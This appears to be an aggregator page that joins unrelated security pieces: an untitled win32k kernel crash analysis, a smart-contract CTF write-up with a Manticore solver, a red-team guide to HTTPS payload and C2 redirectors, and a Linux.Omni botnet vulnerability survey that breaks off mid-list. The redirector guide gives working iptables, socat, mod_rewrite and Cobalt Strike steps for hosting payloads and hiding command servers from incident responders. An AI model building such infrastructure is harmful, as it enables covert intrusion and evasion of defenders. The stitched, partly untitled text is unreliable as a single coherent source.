*** WARNING: Unable to verify checksum for pwned.dll
*** ERROR: Module load completed but symbols could not be loaded for pwned.dll
Probably caused by : win32k.sys ( win32k!NtUserGetDCEx+b7 )

...

SYSTEM_SERVICE_EXCEPTION (3b)
An exception happened while executing a system service routine.
Arguments:
Arg1: 00000000c0000005, Exception code that caused the bugcheck
Arg2: fffff9600016126f, Address of the instruction which caused the bugcheck
Arg3: fffff880045ceae0, Address of the context record for the exception that caused the bugcheck
Arg4: 0000000000000000, zero.

…

kd> r
Last set context:
rax=fffff900c011b010 rbx=fffffa8005095ac0 rcx=0000000000000000
rdx=0000000000000001 rsi=0000000000000000 rdi=0000000000000000
rip=fffff9600016126f rsp=fffff880045cf4b0 rbp=0000000000000000
 r8=0000000000000003  r9=0000000000000000 r10=fffff960001611b8
r11=000007fffffde000 r12=0000000000000000 r13=0000000000000003
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei pl zr na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
win32k!NtUserGetDCEx+0xb7:
fffff960`0016126f 488b4108        mov     rax,qword ptr [rcx+8] ds:002b:00000000`00000008=????????????????

Looking at the BugCheck, it cause an SYSTEM_SERVICE_EXCEPTION (3b) and the first argument showing an Access Violation is happened during boot time. Stack trace:

STACK_TEXT:  
fffff880`045cf4b0 fffff800`02af39d3 : fffffa80`05095ac0 fffff880`045cf590 00000000`00000000 00000000`0024d810 : win32k!NtUserGetDCEx+0xb7
fffff880`045cf510 00000000`76dd564a : 00000000`76e321db 00000000`0024d810 00000000`00000000 00000000`00000000 : nt!KiSystemServiceCopyEnd+0x13
00000000`0024d4f8 00000000`76e321db : 00000000`0024d810 00000000`00000000 00000000`00000000 00000000`00440000 : USER32!NtUserGetDCEx+0xa
00000000`0024d500 00000000`76e31c69 : 00000000`00447410 00000000`0044740b 00000000`00000008 00000000`77008795 : USER32!SoftModalMessageBox+0x21b
00000000`0024d630 00000000`76e314b7 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`0045b1e0 : USER32!MessageBoxWorker+0x31d
00000000`0024d7f0 00000000`76e3166a : 00000000`0045b1e0 000007fe`fcaa4000 00000000`0045d500 00000000`0045b1e0 : USER32!MessageBoxTimeoutW+0xb3
00000000`0024d8c0 00000000`76e31352 : 00000000`00000001 000007fe`0000000e 00000000`0024df00 00000000`00000000 : USER32!MessageBoxTimeoutA+0x18a
00000000`0024d930 000007fe`fca9101d : 00000000`00000001 000007fe`fca91721 00000000`00000000 00000000`0024df00 : USER32!MessageBoxA+0x4e
00000000`0024d970 00000000`00000001 : 000007fe`fca91721 00000000`00000000 00000000`0024df00 00000000`00000002 : pwned+0x101d
00000000`0024d978 000007fe`fca91721 : 00000000`00000000 00000000`0024df00 00000000`00000002 000007fe`fca91058 : 0x1
00000000`0024d980 00000000`00000000 : 00000000`0024df00 00000000`00000002 000007fe`fca91058 00000000`00000000 : pwned+0x1721

Full dump (!analyze -v)

*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

SYSTEM_SERVICE_EXCEPTION (3b)
An exception happened while executing a system service routine.
Arguments:
Arg1: 00000000c0000005, Exception code that caused the bugcheck
Arg2: fffff9600016126f, Address of the instruction which caused the bugcheck
Arg3: fffff880045ceae0, Address of the context record for the exception that caused the bugcheck
Arg4: 0000000000000000, zero.

Debugging Details:
------------------


KEY_VALUES_STRING: 1


TIMELINE_ANALYSIS: 1


DUMP_CLASS: 1

DUMP_QUALIFIER: 0

BUILD_VERSION_STRING:  7601.24231.amd64fre.win7sp1_ldr.180810-0600

DUMP_TYPE:  0

BUGCHECK_P1: c0000005

BUGCHECK_P2: fffff9600016126f

BUGCHECK_P3: fffff880045ceae0

BUGCHECK_P4: 0

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

FAULTING_IP: 
win32k!NtUserGetDCEx+b7
fffff960`0016126f 488b4108        mov     rax,qword ptr [rcx+8]

CONTEXT:  fffff880045ceae0 -- (.cxr 0xfffff880045ceae0)
rax=fffff900c011b010 rbx=fffffa8005095ac0 rcx=0000000000000000
rdx=0000000000000001 rsi=0000000000000000 rdi=0000000000000000
rip=fffff9600016126f rsp=fffff880045cf4b0 rbp=0000000000000000
 r8=0000000000000003  r9=0000000000000000 r10=fffff960001611b8
r11=000007fffffde000 r12=0000000000000000 r13=0000000000000003
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei pl zr na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
win32k!NtUserGetDCEx+0xb7:
fffff960`0016126f 488b4108        mov     rax,qword ptr [rcx+8] ds:002b:00000000`00000008=????????????????
Resetting default scope

CPU_COUNT: 1

CPU_MHZ: 8f6

CPU_VENDOR:  GenuineIntel

CPU_FAMILY: 6

CPU_MODEL: 3d

CPU_STEPPING: 4

CPU_MICROCODE: 6,3d,4,0 (F,M,S,R)  SIG: 2A'00000000 (cache) 2A'00000000 (init)

DEFAULT_BUCKET_ID:  WIN7_DRIVER_FAULT

BUGCHECK_STR:  0x3B

PROCESS_NAME:  winlogon.exe

CURRENT_IRQL:  2

ANALYSIS_SESSION_HOST:  HEAVEN-PC

ANALYSIS_SESSION_TIME:  10-24-2018 21:44:25.0111

ANALYSIS_VERSION: 10.0.17134.1 amd64fre

LAST_CONTROL_TRANSFER:  from fffff80002af39d3 to fffff9600016126f

STACK_TEXT:  
fffff880`045cf4b0 fffff800`02af39d3 : fffffa80`05095ac0 fffff880`045cf590 00000000`00000000 00000000`0024d810 : win32k!NtUserGetDCEx+0xb7
fffff880`045cf510 00000000`76dd564a : 00000000`76e321db 00000000`0024d810 00000000`00000000 00000000`00000000 : nt!KiSystemServiceCopyEnd+0x13
00000000`0024d4f8 00000000`76e321db : 00000000`0024d810 00000000`00000000 00000000`00000000 00000000`00440000 : USER32!NtUserGetDCEx+0xa
00000000`0024d500 00000000`76e31c69 : 00000000`00447410 00000000`0044740b 00000000`00000008 00000000`77008795 : USER32!SoftModalMessageBox+0x21b
00000000`0024d630 00000000`76e314b7 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`0045b1e0 : USER32!MessageBoxWorker+0x31d
00000000`0024d7f0 00000000`76e3166a : 00000000`0045b1e0 000007fe`fcaa4000 00000000`0045d500 00000000`0045b1e0 : USER32!MessageBoxTimeoutW+0xb3
00000000`0024d8c0 00000000`76e31352 : 00000000`00000001 000007fe`0000000e 00000000`0024df00 00000000`00000000 : USER32!MessageBoxTimeoutA+0x18a
00000000`0024d930 000007fe`fca9101d : 00000000`00000001 000007fe`fca91721 00000000`00000000 00000000`0024df00 : USER32!MessageBoxA+0x4e
00000000`0024d970 00000000`00000001 : 000007fe`fca91721 00000000`00000000 00000000`0024df00 00000000`00000002 : pwned+0x101d
00000000`0024d978 000007fe`fca91721 : 00000000`00000000 00000000`0024df00 00000000`00000002 000007fe`fca91058 : 0x1
00000000`0024d980 00000000`00000000 : 00000000`0024df00 00000000`00000002 000007fe`fca91058 00000000`00000000 : pwned+0x1721


THREAD_SHA1_HASH_MOD_FUNC:  28860cd61556fec47ee8b98cee370782542f9f75

THREAD_SHA1_HASH_MOD_FUNC_OFFSET:  96b696341545d28bd11ab89cef209459add5d6ad

THREAD_SHA1_HASH_MOD:  733a7efb513a8a4310aebdea1f93670be82694d5

FOLLOWUP_IP: 
win32k!NtUserGetDCEx+b7
fffff960`0016126f 488b4108        mov     rax,qword ptr [rcx+8]

FAULT_INSTR_CODE:  8418b48

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  win32k!NtUserGetDCEx+b7

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: win32k

IMAGE_NAME:  win32k.sys

DEBUG_FLR_IMAGE_TIMESTAMP:  5b40db20

IMAGE_VERSION:  6.1.7601.24204

STACK_COMMAND:  .cxr 0xfffff880045ceae0 ; kb

FAILURE_BUCKET_ID:  X64_0x3B_win32k!NtUserGetDCEx+b7

BUCKET_ID:  X64_0x3B_win32k!NtUserGetDCEx+b7

PRIMARY_PROBLEM_CLASS:  X64_0x3B_win32k!NtUserGetDCEx+b7

TARGET_TIME:  2018-10-24T13:30:00.000Z

OSBUILD:  7601

OSSERVICEPACK:  1000

SERVICEPACK_NUMBER: 0

OS_REVISION: 0

SUITE_MASK:  272

PRODUCT_TYPE:  1

OSPLATFORM_TYPE:  x64

OSNAME:  Windows 7

OSEDITION:  Windows 7 WinNt (Service Pack 1) TerminalServer SingleUserTS

OS_LOCALE:  

USER_LCID:  0

OSBUILD_TIMESTAMP:  2018-08-10 23:14:00

BUILDDATESTAMP_STR:  180810-0600

BUILDLAB_STR:  win7sp1_ldr

BUILDOSVER_STR:  6.1.7601.24231.amd64fre.win7sp1_ldr.180810-0600

ANALYSIS_SESSION_ELAPSED_TIME:  a8b

ANALYSIS_SOURCE:  KM

FAILURE_ID_HASH_STRING:  km:x64_0x3b_win32k!ntusergetdcex+b7

FAILURE_ID_HASH:  {c08a00a3-15a5-89cf-350a-72fc675556fc}

Followup:     MachineOwner
---------

Vulnerability Analysis

Looking at the registers output, we can see an invalid pointer is happening:

kd> r
Last set context:
rax=fffff900c011b010 rbx=fffffa8005095ac0 rcx=0000000000000000
rdx=0000000000000001 rsi=0000000000000000 rdi=0000000000000000
rip=fffff9600016126f rsp=fffff880045cf4b0 rbp=0000000000000000
 r8=0000000000000003  r9=0000000000000000 r10=fffff960001611b8
r11=000007fffffde000 r12=0000000000000000 r13=0000000000000003
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei pl zr na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
win32k!NtUserGetDCEx+0xb7:
fffff960`0016126f 488b4108        mov     rax,qword ptr [rcx+8] ds:002b:00000000`00000008=????????????????

Inspecting the pointer rcx+8 to view the memory address it referencing and we can confirm the memory are indeed invalid / free. There could be a potential of attacker to control from here when mapping into winlogon.exe process by overwriting something in the memory to control the object.

kd> dd rcx+8
00000000`00000008  ???????? ???????? ???????? ????????
00000000`00000018  ???????? ???????? ???????? ????????
00000000`00000028  ???????? ???????? ???????? ????????
00000000`00000038  ???????? ???????? ???????? ????????
00000000`00000048  ???????? ???????? ???????? ????????
00000000`00000058  ???????? ???????? ???????? ????????
00000000`00000068  ???????? ???????? ???????? ????????
00000000`00000078  ???????? ???????? ???????? ????????

Disassembly code of the crash path:

kd> u win32k!NtUserGetDCEx+0xb7
win32k!NtUserGetDCEx+0xb7:
fffff960`0016126f 488b4108        mov     rax,qword ptr [rcx+8]      // ds:002b:00000000`00000008=????????????????
fffff960`00161273 488b7810        mov     rdi,qword ptr [rax+10h]
fffff960`00161277 ff15936d1d00    call    qword ptr [win32k!_imp_PsGetCurrentThreadWin32Thread (fffff960`00338010)]
fffff960`0016127d 0fbaa0980100001d bt      dword ptr [rax+198h],1Dh
fffff960`00161285 731c            jae     win32k!NtUserGetDCEx+0xeb (fffff960`001612a3)
fffff960`00161287 ff15836d1d00    call    qword ptr [win32k!_imp_PsGetCurrentThreadWin32Thread (fffff960`00338010)]
fffff960`0016128d 488b8858010000  mov     rcx,qword ptr [rax+158h]
fffff960`00161294 488b81b0020000  mov     rax,qword ptr [rcx+2B0h]

PolySwarm Smart Contract Hacking Challenge Writeup

( Original text by raz0r )

This is a walk through for the smart contract hacking challenge organized by PolySwarm for CODE BLUE conference held in Japan on November 01–02. Although the challenge was supposed to be held on-site for whitelisted addresses only, Ben Schmidt of PolySwarm kindly shared a wallet so that I could participate in the challenge.

The target smart contract called CashMoney featured a set of honeypot tricks that were described in Ben’s talk “Smart Contract Honeypots”. A naïve attacker would call do_guess()function with a number that was compared with a private variable current, which could easily be revealed off-chain. However, the condition would never work as expected because of the following code:

1
2
3
4
Guess storage guess;
guess.playerNo = players[msg.sender].playerNo;
guess.time = now;
guesses.push(guess);

Solidity prior to 0.5.0 allows uninitialized storage pointers. Since the contract was compiled with solc 0.4.25, the code above would silently overwrite the first element in contract’s storage with players[msg.sender].playerNo value. As a result, variable current which is the first in the storage would be changed right before the comparison. In order to make the condition pass, one had to call do_guess() with their player number instead of current value. The contract allowed to update one’s number and name via updateSelf(), which was quite handy since do_guess() had a restriction on the number range (only 0–10).

After the check succeeded it seemed that nothing could stop me to receive the prize. However, it was just the beginning of the long journey into EVM bytecode, as do_guess() reverted for unknown reason. After a short debugging session in Remix it was clear that the following line caused it:

1
2
// you win!
winnerLog.logWinner(msg.sender, players[msg.sender].playerNo, players[msg.sender].name);

CashMoney address on EtherScan revealed the source code of another contract called WinnerLog, however winnerLog variable pointed to some other contract which had no verified source code. An attempt to verify the source code was unsuccessful which proved the assumption that WinnerLog had some different logic inside. A quick recon on WinnerLogrevealed a magic string dogecointothemoonlambosoondudes! in contract’s storage. The first idea was of course to use this string as a username, however do_guess() still reverted. Other variations like reversing this string or using capital letters also failed. As quick attempts happened to be ineffective, I moved to reverse engineering the contract’s bytecode. Although decompiled contract was hardly comprehensible, EtherVM provided some hints on the logic inside logWinner() function.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
} else if (var0 == 0x7fd4b61a) { // logWinner()
/**/
if (msg.sender != storage[0x03] & 0x02 ** 0xa0 - 0x01) { revert(memory[0x00:0x00]); }
/**/
} else {
/**/
label_03F5:
    var9 = var6; // var6 is magic string
    var10 = var7 & 0x1f;
    if (var10 >= 0x20) { assert(); }
    var9 = byte(var9, var10) * 0x02 ** 0xf8 ~ 0x02 ** 0xf8 * 0x42;
    var10 = var5;
    var11 = var7 & 0xffffffff;
    if (var11 >= memory[var10:var10 + 0x20]) { assert(); }
    var temp35 = var10 + 0x20 + var11;
    memory[temp35:temp35 + 0x01] = byte((memory[temp35:temp35 + 0x20] / 0x02 ** 0xf8 * 0x02 ** 0xf8 ~ var9) & ~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff, 0x00);
    var8 = var8;
    var7 = var7 + 0x01;
    if (var7 & 0xffffffff >= memory[var5:var5 + 0x20]) { goto label_0475; }
    else { goto label_03F5; }
}

It was quite obvious that the function could be called only by CashMoney contract, and some operations were done on each byte of the magic string. Therefore I had to find such username that would satisfy some obscure conditions inside a closed-source smart contract code. Sounds like a perfect task for symbolic execution.

Manticore is a symbolic execution tool created by Trail of Bits which supports Ethereum Virtual Machine. It proved to be effective at CTFs, so I decided to give it a try.

Firstly, it was necessary to set up addresses and create the WinnerLog smart contract:

1
2
3
4
5
6
7
import binascii
from manticore.ethereum import ManticoreEVM, ABI
m = ManticoreEVM()
owner_account      = m.create_account(balance=1000, name='owner',     address=0xbc7ddd20d5bceb395290fd7ce3a9da8d8b485559)
attacker_account   = m.create_account(balance=1000, name='attacker',  address=0x762C808237A69d786A85E8784Db8c143EB70B2fB)
cashmoney_contract = m.create_account(balance=1000, name='CashMoney', address=0x64ba926175bc69ba757ef53a6d5ef616889c9999)
winnerlog_contract = m.create_contract(init=bytecode, owner=owner_account, name="WinnerLog", address=0x2e4d2a597a2fcbdf6cc55eb5c973e76aa19ac410)

After that, the smart contract state had to be recreated. There was just one transaction on the mainnet, supposedly to allow CashMoney contract call WinnerLog:

1
2
m.transaction(caller=owner_account, address=winnerlog_contract,
data=binascii.unhexlify(b"c3e8512400000000000000000000000064ba926175bc69ba757ef53a6d5ef616889c9999"), value=0)

The next step was to create a symbolic buffer and send a transaction to call logWinner() with that symbolic buffer:

1
2
3
symbolic_data = m.make_symbolic_buffer(64)
calldata = ABI.function_call('logWinner(address,uint256,bytes)', attacker_account, 0, symbolic_data)
m.transaction(caller=cashmoney_contract, address=winnerlog_contract, data=calldata, value=0, gas=10000000)

And finally my goal was to find at least a single running state, i.e. the one that finished with a STOP instead of REVERT or THROW:

1
2
3
4
5
for state in m.running_states:
    world  = state.platform
    result = state.solve_one(symbolic_data)
    print("[+] FOUND: {}".format(binascii.hexlify(result)))
    break

After several minutes manticore successfully found a username that would not result in a reverted transaction:


After setting this sequence of bytes as my username, I successfully claimed one of the prizes. The complete solution can be found on GitHub.

HTTPS Payload and C2 Redirectors

( Original text by Jeff Dimmock )

I’ve written rather extensively about the use of redirectors and how they can strengthen your red team assessments. Since my first post on the topic, the question I’ve received most frequently is about how to do the same thing with HTTPS traffic. In this post, I will detail different HTTPS redirection methods and when to use each.

I’d like to give a shoutout to Joe Vest (@joevest) for building HTTPS command and control (C2) redirection into his cs2modrewrite tool and figuring out some of the required Apache configurations for such redirection.

Dumb Pipe Redirection

Redirectors can best be described as fitting into one of two categories: dumb pipe or filtering. As its name suggests, the “dumb pipe” redirectors blindly forward traffic from their network interface to another configured host interface. This type of redirector is useful for their quick standup, but natively lack the level of control over the incoming traffic being redirected. As such, dumb pipe redirection will buy you some time by obfuscating your C2 server’s true IP address, but it is unlikely to seriously hamper defender investigations.

Since the two methods below do not perform any conditional filtering on traffic, they can be used interchangeably for payload or C2 redirection.

iptables

Using the Linux firewall tool iptables, we can NAT any incoming traffic on a certain port to a remote host IP on a given port. This lets us take any TCP traffic over 443 (line 1 below) and redirect it to our backend server over 443 (line 2 below). Replace <REMOTE-HOST-IP-ADDRESS> with the IP address of your backend server and run the following commands with root permissions:

iptables -I INPUT -p tcp -m tcp --dport 443 -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination <REMOTE-HOST-IP-ADDRESS>:80
iptables -t nat -A POSTROUTING -j MASQUERADE
iptables -I FORWARD -j ACCEPT
iptables -P FORWARD ACCEPT
sysctl net.ipv4.ip_forward=1

socat

socat is an alternate tool we can use to create the same kind of traffic redirection. The one-liner below will redirect any traffic from port 443 (the left-most 443 below) to the provided remote host IP address on port 443 (right-most 443). As before, replace <REMOTE-HOST-IP-ADDRESS> with the IP address of your backend server.

By default, socat runs in the foreground. While you can run the process in the background, I recommend running socat within a screen session to make on-the-fly redirection modifications much easier.

socat TCP4-LISTEN:443,fork TCP4:<REMOTE-HOST-IP-ADDRESS>:443

socat redirectors can begin to experience issues or redirector host slow-downs if you are redirecting large amounts of traffic, such as C2. If you experience those issues, try switching to iptables.

Apache mod_rewrite

While the dumb pipe redirectors are useful for a quick redirector standup, filtering redirectors provide virtually endless methods to hamper defenders from investigating your attack infrastructure. Any mature web server technology should be able to provide filtering redirection, but this blog post focuses on using Apache and its mod_rewrite module.

This section will focus on payload and C2 redirection separately because the redirectors often need to provide differing functionality based on the expected traffic. For the following examples, we will be using spoofdomain.com as the attacker domain and using Debian 9 for all servers.

First-Time Setup

This technique requires a couple one-time setup steps. The steps below include generating and using a LetsEncrypt certificate for the infrastructure. If you acquired your certificate elsewhere or are opting to use a self-signed certificate, skip those steps.

Apache and SSL Setup

To set up Apache mod_rewrite for traffic redirection, we will need to perform some first-time setup. For further detail about the initial setup than what is covered below, check out the mod_rewrite Basics section of my first mod_rewrite post.

On your redirector, run the following commands with root rights:

apt-get install apache2
a2enmod ssl rewrite proxy proxy_http
a2ensite default-ssl.conf
service apache2 restart

In the Apache2 configuration file (/etc/apache2/apache2.conf by default), locate the Directory tag for your site’s directory and change None to All:

<Directory /var/www/>
        Options Indexes FollowSymLinks
        AllowOverride None
        Require all granted
</Directory>

The commands above will enable multiple Apache modules that we’ll be working with and enable SSL on the site, albeit with a self-signed certificate.

Generate Cert with LetsEncrypt

If you already have a certificate or wish to use a self-signed certificate, you can skip the steps in this section.

To generate our LetsEncrypt certificate on Debian:

sudo service apache2 stop
sudo apt-get install certbot
sudo certbot certonly --standalone -d spoofdomain.com -d www.spoofdomain.com

Modify the certbot command to include any additional subdomains you want protected with additional -d flags. Notice that above we specify the root domain as well as the www subdomain.

If there are no generation issues, the cert files will be saved to /etc/letsencrypt/live/spoofdomain.com.

Edit the SSL site configuration (located at /etc/apache2/sites-enabled/default-ssl.conf by default) so the file paths for the SSLCertificateFile and SSLCertificateKeyFile options match the LetsEncrypt certificate components’ paths:

SSLCertificateFile      /etc/letsencrypt/live/spoofdomain.com/cert.pem
SSLCertificateKeyFile   /etc/letsencrypt/live/spoofdomain.com/privkey.pem

Also, add the following code to the same file within the VirtualHost tags:

# Enable SSL
SSLEngine On
# Enable Proxy
SSLProxyEngine On
# Trust Self-Signed Certificates generated by Cobalt Strike
SSLProxyVerify none
SSLProxyCheckPeerCN off
SSLProxyCheckPeerName off

Again, thanks to Joe Vest for figuring the options above out!

We now have a basic SSL installation using a valid LetsEncrypt certificate. From here, the post will demonstrate how to serve payload files or webpages required for your pretexts and how to redirect C2 traffic.

Payload Redirection

When I’m designing an attack infrastructure, I consider any file or payload that will be publicly hosted for use during social engineering, or any other part of the attack path, to be part of payload redirection. In our setup, the redirector will proxy any valid requests to the corresponding backend server and redirect all other requests to the target’s real 404 page. The files can be hosted using either HTTP or HTTPS; the end-user will see a valid SSL connection for spoofdomain.com.

Here is what our set up will look like:

SSL Payload Redirection Diagram
SSL Payload Redirection Diagram

Notice that we are hosting the files over HTTP on the backend. We’re doing this for demonstration and ease of setup.

Once our first-time setup is complete on the host (see above) we will add the following text to the file /var/www/html/.htaccess:

RewriteEngine On
RewriteCond %{REQUEST_URI} ^/(payload\.exe|landingpage\.html)/?$ [NC] RewriteRule ^.*$ http://REMOTE-HOST-IP%{REQUEST_URI} [P] RewriteRule ^.*$ http://example.com/404? [L,R=302]

Here is a color-coded breakdown of what the rules are doing:

Enable the rewrite engine
If the request’s URI is either ‘/payload.exe’ or ‘/landingpage.html’ (with an optional trailing slash), ignoring case;
Change the entire request to serve the original request path from the remote host’s IP, and keep the user’s address bar the same (obscure the backend server’s IP).
If the above conditions are not met, change the entire request to http://example.com/404 and drop any query strings from the original request. Do not evaluate further rules and redirect the user, changing their address bar.

Notice in the above ruleset that we are using HTTP for the first RewriteRule, since we are hosting the payload.exeand landingpage.html file on the backend server using HTTP only.

Here is how the landingpage.html file will render in our victims’ browsers:

Redirected SSL Traffic to Hosted File
Redirected SSL Traffic to Hosted File

Notice that the browser shows spoofdomain.com in the URL bar, despite the file itself being hosted on another server. The backend file can be hosted either via HTTPS or HTTP; both will appear as expected in the target’s browser.

The files can also be hosted on a Cobalt Strike team server. Cobalt Strike versions 3.10 and above support hosting the social engineering attacks and files via SSL. To do this, you need to create a keystore from the SSL certificate, upload the keystore to the Cobalt Strike team server, and specify the keystore in the server’s Malleable C2 profile.

Making the keystore for Cobalt Strike:

openssl pkcs12 -export -in fullchain.pem -inkey privkey.pem -out spoofdomain.p12 -name spoofdomain.com -passout pass:mypass
keytool -importkeystore -deststorepass mypass -destkeypass mypass -destkeystore spoofdomain.store -srckeystore spoofdomain.p12 -srcstoretype PKCS12 -srcstorepass mypass -alias spoofdomain.com

Add the keystore info to a Malleable C2 profile:

https-certificate {
	set keystore "spoofdomain.store";
	set password "mypass";
}

When the team server is started, it will leverage the provided keystore and enable SSL file hosting.

Command and Control Redirection

Command and Control redirection is largely similar to payload redirection, except that the htaccess file will need to allow only C2, hosted file, and stager URIs.

The C2 URIs are all specified within the team server’s Malleable C2 profile on the set uri lines. These should be allowed back to the team server using the %{REQUEST_URI} mod_rewrite variable.

Hosted files can be served by Cobalt Strike either via HTTP or HTTPS. Hosting the files via HTTPS will require the extra steps of creating the keystore and modifying the Malleable C2 profile; however, it will simplify the redirector’s htaccess file ruleset. If you opt to host the files via HTTP, ensure your redirector’s htaccess rules proxy to HTTP, rather than HTTPS.

Stager URIs will need to be redirected back to the team server if you plan to use any staged payloads during your attack path. By default, the Cobalt Strike stager URI is a random four character string. We can allow that through via a regex or, with Cobalt Strike 3.10 and newer, specify a stager URI in a Malleable C2 profile in the http-stagerblock.

Here is a ruleset that redirects that static files of payload.exe and landingpage.html to the team server over HTTP, while redirecting the C2 URIs of /legit-path-1 and /legit-path-2 and the staging uri of /stager over HTTPS:

RewriteEngine On
RewriteCond %{REQUEST_URI} ^/(payload\.exe|landingpage\.html)/?$ [NC] RewriteRule ^.*$ http://REMOTE-HOST-IP%{REQUEST_URI} [P] RewriteCond %{REQUEST_URI} ^/(legit-path-1|legit-path-2|stager)/?$ [NC] RewriteRule ^.*$ https://REMOTE-HOST-IP%{REQUEST_URI} [P] RewriteRule ^.*$ http://example.com/404? [L,R=302]

Here is a color-coded breakdown of what the rules are doing:

Enable the rewrite engine
If the request’s URI is either ‘/payload.exe’ or ‘/landingpage.html’ (with an optional trailing slash), ignoring case;
Change the entire request to serve the original request path over HTTP from the remote host’s IP, and keep the user’s address bar the same (obscure the backend server’s IP).
If the request’s URI is ‘/legit-path-1’, ‘/legit-path-2’, or ‘/stager’ (with an optional trailing slash), ignoring case;
Change the entire request to serve the original request path over HTTPS from the remote host’s IP, and keep the user’s address bar the same (obscure the backend server’s IP).
If the above conditions are not met, change the entire request to http://example.com/404 and drop any query strings from the original request. Do not evaluate further rules and redirect the user, changing their address bar.

This is obviously a contrived example and you’ll want to set this up with a Malleable C2 profile that provides some evasion benefits, but the code above should illustrate how to mix content between HTTP and HTTPS.

For more information about Cobalt Strike C2 redirection, with some examples, check out my post Cobalt Strike HTTP C2 Redirectors with Apache mod_rewrite.

Many Redirectors to One Backend Server

SSL redirectors provide the interesting capability of protecting multiple callback domains with distinct SSL certificates. Since the certificates can be completely unique, this setup can reduce the risks of incident responders identifying C2 domains based on certificate metadata.

Here is what that setup would look like:

Using Multiple Domains with SSL Redirection
Using Multiple Domains with SSL Redirection

We set up each redirector as its own segment, following the steps detailed in the sections above. The key difference in setup is specifying the two domains in our callback popup during the Cobalt Strike listener setup. Here is what that setup looks like in Cobalt Strike:

Setting Up an HTTPS Listener to Use Multiple SSL Domains with Unique Certificates
Setting Up an HTTPS Listener to Use Multiple SSL Domains with Unique Certificates

Notice we specify phishdomain.com as the primary listener’s Host entry (for staging) and the two domains (phishdomain.com and spoofdomain.com) in the Beacons field. We also set up a foreign listener pointing to the other domain to allow us to stage over spoofdomain.com if needed. With this setup, Beacons will stage over the chosen listener’s Host field and subsequently check-in round robin over the domains specified in the Beacons field.

Forcing HTTPS

In some setups, you may want to force all traffic over HTTPS, rather than allowing mixed content. In that case, add the following lines after the RewriteEngine On line of your htaccess ruleset:

RewriteCond %{HTTPS} !=on [NC] RewriteRule ^.*$ https://REDIRECTOR-DOMAIN.com%{REQUEST_URI} [L,R=301]

Here is a color-coded breakdown of what the rules are doing:

Enable the rewrite engine
If the request’s SSL status is NOT «on»,
Change the entire request to serve the original request path from REDIRECTOR-DOMAIN.com over HTTPS, and change the user’s address bar show the redirection. Make the redirect permanent with a 301 code.

The above ruleset was taken and slightly modified from AskApache.com from here. The %{HTTPS} variable will return “on” if the request is using SSL/TLS, and will return “off” if the request is using HTTP only.

Summary

Redirectors are a critical component in covert attack infrastructure. They are used to obfuscate backend infrastructure and can be used to confuse or disorient incident responders who are investigating your setup. Redirector traffic should blend into the expected traffic on a network. Since SSL/TLS adoption is rapidly rising, you will likely run into instances when your redirectors will need to run SSL/TLS with valid certificates. This post detailed how to set that up and some powerful things you can do with SSL-enabled redirectors, such as using multiple domains with an HTTPS Cobalt Strike listener.

Update: e0x70i pointed out in the comments of my Cobalt Strike HTTP C2 Redirectors with Apache mod_rewritepost, if your Cobalt Strike Malleable C2 profile contains an Accept-Encoding header for gzip, your Apache install may compress that traffic by default and cause your Beacon to be unresponsive or function incorrectly. To overcome this, disable mod_deflate (via a2dismod deflate and add the No Encode ([NE]) flag to your rewrite rules. (Thank you, e0x70i!)

Resources

Analysis of Linux.Omni

( Original text by by   )

Following our classification and analysis of the Linux and IoT threats currently active, in this article we are going to investigate a malware detected very recently in our honeypots, the Linux.Omni botnet. This botnet has particularly attracted our attention due to the numerous vulnerabilities included in its repertoire of infection (11 different in total), being able to determine, finally, that it is a new version of IoTReaper.

Analysis of the binary

The first thing that strikes us is the label given to the malware at the time of infection of the device, i.e., OMNI, because these last few weeks we were detecting OWARI, TOKYO, SORA, ECCHI… all of them versions of Gafgyt or Mirai and, which do not innovate much compared to what was reported in previous articles.

So, analyzing the method of infection, we find the following instructions:

As you can see, it is a fairly standard script and, therefore, imported from another botnet. Nothing new.

Although everything indicated that the sample would be a standard variant of Mirai or Gafgyt, we carried out the sample download.

The first thing we detect is that the binary is packaged with UPX. It is not applied in most samples, but it is not uncommon to see it in some of the more widespread botnet variants.

After looking over our binary, we found that the basic structure of the binary corresponds to Mirai.

However, as soon as we explore the binary infection options, we find attack vectors that, in addition to using the default credentials for their diffusion, use vulnerabilities of IoT devices already discovered and implemented in other botnets such as IoTReaper or Okiru / Satori, including the recent one that affects GPON routers.

Let’s examine which are these vulnerabilities that Omni uses:

Vacron

Vulnerability that makes use of code injection in VACRON network video recorders in the “board.cgi” parameter, which has not been well debugged in the HTTP request parsing. We also found it in the IoTReaper botnet.

Netgear – CVE-2016-6277

Another of the vulnerabilities found in Omni is CVE-2016-6277, which describes the remote execution of code through a GET request to the “cgi-bin/” directory of vulnerable routers. These are the following:

R6400                         R7000
R7000P           R7500
R7800                         R8000
R8500                         R9000

D-Link – OS-Command Injection via UPnP

Like IoTReaper, Omni uses a vulnerability of D-link routers. However, while the first used a vulnerability in the cookie overflow, the hedwig.cgi parameter, this one uses a vulnerability through the UPnP interface.

The request is as follows:

And we can find it in the binary:

The vulnerable firmware versions are the following:

DIR-300 rev B – 2.14b01
DIR-600 – 2.16b01
DIR-645 – 1.04b01
DIR-845 – 1.01b02
DIR-865 – 1.05b03

CCTV-DVR 

Another vulnerability found in the malware is the one that affects more than 70 different manufacturers and is linked to the “/language/Swedish” resource, which allows remote code execution.

The list of vulnerable devices can be found here:

http://www.kerneronsec.com/2016/02/remote-code-execution-in-cctv-dvrs-of.html

D-Link – HNAP

